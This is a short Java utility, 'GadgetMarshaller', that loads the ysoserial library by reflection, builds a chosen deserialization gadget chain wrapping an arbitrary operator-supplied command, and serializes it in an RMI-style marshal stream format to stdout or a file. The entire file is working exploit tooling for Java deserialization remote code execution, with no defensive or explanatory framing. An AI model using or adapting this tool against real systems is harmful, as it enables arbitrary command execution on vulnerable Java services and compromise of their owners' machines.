import java.io.*; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; public class GadgetMarshaller { public static void main(String[] args) throws Exception { final String ysoserial_path; final String gadgetName; final String cmd; final String outFile; if (args.length < 3) { System.out.println("Usage: java GadgetMarshaller /path/to/ysoserial.jar Gadget1 cmd (optional)/path/to/output/file"); return; } else { ysoserial_path = args[0]; gadgetName = args[1]; cmd = args[2]; outFile = args.length >= 4 ? args[3] : null; } if (!new File(ysoserial_path).exists()) { System.out.printf("Error: Ysoserial path \"%s\" does not exist.\n", ysoserial_path); return; } URLClassLoader ysoserialLoader = new URLClassLoader(new URL[] {new File(ysoserial_path).toURI().toURL()}, GadgetMarshaller.class.getClassLoader()); Class payloadUtils = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader); Method getPayloadClassMethod = payloadUtils.getDeclaredMethod("getPayloadClass", String.class); Class objectPayload = (Class) getPayloadClassMethod.invoke(null, gadgetName); Class payloadObjectClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader); Method getObjectMethod = payloadObjectClazz.getDeclaredMethod("getObject", String.class); Object gadget = getObjectMethod.invoke(objectPayload.getDeclaredConstructor().newInstance(), cmd); MarshalOutputStream mos; try { mos = new MarshalOutputStream((outFile == null) ? System.out : new FileOutputStream(outFile)); mos.writeObject(gadget); mos.close(); mos.flush(); } catch (FileNotFoundException e) { System.out.println("Error: output file path was not found."); } } static final class MarshalOutputStream extends ObjectOutputStream { MarshalOutputStream(OutputStream out) throws IOException { super(out); } @Override protected void annotateClass(Class cl) throws IOException { writeObject(null); } @Override protected void annotateProxyClass(Class cl) throws IOException { annotateClass(cl); } } }